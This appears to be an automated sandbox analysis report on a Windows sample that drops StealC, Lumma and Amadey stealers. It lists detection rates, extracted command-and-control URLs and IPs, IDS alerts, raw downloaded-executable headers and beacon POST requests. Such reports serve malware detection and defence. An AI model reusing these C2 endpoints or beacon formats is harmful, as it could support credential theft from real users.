Source: 95716ab34b.exe.884.11.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "drum"}
Source: 11caca4b5d.exe.6692.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://atten-supporse.biz/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:50110 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: d764c66987.exe, 0000001E.00000002.4122268970.0000000000F82000.00000040.00000001.01000000.00000012.sdmp, d764c66987.exe, 0000001E.00000003.4110171397.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009ADBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	13_2_009ADBBE
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B68EE FindFirstFileW,FindClose,	13_2_009B68EE
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	13_2_009B698F
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009AD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_009AD076
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009AD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_009AD3A9
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_009B9642
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_009B979D
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	13_2_009B9B2B
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B5C97 FindFirstFileW,FindNextFileW,FindClose,	13_2_009B5C97

Source: firefox.exe

Memory has grown: Private usage: 0MB later: 93MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50067
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50074 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50075 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50081 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50069 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50098 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50072 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50080 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50072 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50080 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50079 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50079 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50070 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50070 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50092 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50109 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50105 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50105 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50104 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50104 -> 172.67.165.166:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://atten-supporse.biz/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 19:07:30 GMTContent-Type: application/octet-streamContent-Length: 1872896Last-Modified: Fri, 29 Nov 2024 18:38:18 GMTConnection: keep-aliveETag: "674a0a1a-1c9400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c2 00 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 a4 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 05 00 00 10 00 00 00 58 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 50 05 00 00 02 00 00 00 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 05 00 00 02 00 00 00 6a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 70 05 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 61 76 78 6b 78 6e 75 00 00 1a 00 00 60 30 00 00 00 1a 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 79 68 6a 63 72 7a 63 00 10 00 00 00 60 4a 00 00 04 00 00 00 6e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4a 00 00 22 00 00 00 72 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 19:07:38 GMTContent-Type: application/octet-streamContent-Length: 1789952Last-Modified: Fri, 29 Nov 2024 18:38:25 GMTConnection: keep-aliveETag: "674a0a21-1b5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e8 97 48 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 e0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 69 00 00 04 00 00 8d 41 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 68 6d 77 66 73 6d 77 00 c0 19 00 00 10 4f 00 00 b2 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 76 73 61 79 70 6e 6e 00 10 00 00 00 d0 68 00 00 04 00 00 00 2a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 68 00 00 22 00 00 00 2e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 19:07:47 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Fri, 29 Nov 2024 18:36:32 GMTConnection: keep-aliveETag: "674a09b0-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a8 09 4a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 55 05 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 50 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Nov 2024 19:07:54 GMTContent-Type: application/octet-streamContent-Length: 2799616Last-Modified: Fri, 29 Nov 2024 18:36:58 GMTConnection: keep-aliveETag: "674a09ca-2ab800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 15 07 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 74 65 64 74 7a 6f 67 00 60 2a 00 00 a0 00 00 00 58 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 78 68 72 61 6a 70 79 00 20 00 00 00 00 2b 00 00 04 00 00 00 92 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 96 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
